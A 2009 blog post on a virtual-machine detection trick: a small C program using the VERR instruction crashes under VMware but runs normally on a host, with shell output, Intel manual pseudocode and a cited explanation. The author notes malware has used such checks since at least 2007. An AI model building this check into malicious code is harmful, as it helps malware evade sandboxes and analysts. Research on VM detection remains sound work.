I tried to test this since I found it really neat inside a VM (specifically, on VMware Workstation). It crashed! I tried it on my host OS and worked… Well, I spend the few next days discovering similar instructions and I have to admit that they are a few. When I came back to work on Friday I did a quick online research for this instruction and it seems that it was being used for VMM detection on malware at least since 2007. This is the reason why I’m posting this in here, I wouldn’t have posted it if it was even slightly new or innovative idea. Anyway, here is the dummy code:

#include <stdio.h>

int
main(void)
{
     unsigned long eflags;
     __asm__(
       "verr   313(%%eax)   \n"   \
       "pushf               \n"   \
       "popl   %0           \n"   \
       : "=r" (eflags)            );
     printf("you're cool! (eflags = %#x)\n", eflags);
     return 0;
}

This crappy little code, when executed on VM (I tried on VMware Workstation as well as VMware Server) has the following effect:

xorl@vmware:~$ gcc crap.c -o crap && ./crap
Segmentation fault
xorl@vmware:~$

On the other hand, this same code on the host OS works as expected from the Intel manual and terminates normally (since VERR/VERW only affects ZF flag of EFLAGS register):

xorl@debian:~$ gcc crap.c -o crap && ./crap
you’re cool! (eflags = 0x200286)
xorl@debian:~$

At a first glance, it looks weird but if you read the Intel’s description once again from the manual you’ll see this:

Operation

IF SRC(Offset) > (GDTR(Limit) or (LDTR(Limit))
    THEN ZF ← 0; FI;
Read segment descriptor;
IF SegmentDescriptor(DescriptorType) = 0 (* System segment *)
or (SegmentDescriptor(Type) ≠ conforming code segment)
and (CPL > DPL) or (RPL > DPL)
    THEN
        ZF ← 0;
    ELSE
        IF ((Instruction = VERR) and (Segment readable))
        or ((Instruction = VERW) and (Segment writable))
              THEN
                   ZF ← 1;
        FI;
FI;

Its operation is partly based on the GDT or LDT registers. As you already know these registers cannot be sufficiently simulated by most emulators (including VMware). This is why it fails but in any case, resulting a SIGSEGV is probably some bug of the VMware implementation of these instructions.
Anyway, as the title says.. just another VMM detection technique. I’d be really happy to hear what’s the reaction of different emulators apart from VMware, so if you test this and you’d like to share it feel free to contact me or leave a comment! :)

UPDATE:

I just finished reading a must-read paper (A Comparison of Software and Hardware Techniques for x86 Virtualization) and it seems like the problem with the above instruction is because of the lack of traps on privileged instructions, the papers says:

Lack of traps when privileged instructions run at user-level. For example, in privileged code popf (“pop flags”) may change both ALU flags (e.g., ZF) and system flags (e.g., IF, which controls interrupt delivery). For a deprivileged guest, we need kernel mode popf to trap so that the VMM can emulate it against the virtual IF. Unfortunately, a deprivileged popf, like any user-mode popf, simply suppresses attempts to modify IF; no trap happens.

Written by xorl

March 23, 2009 at 16:23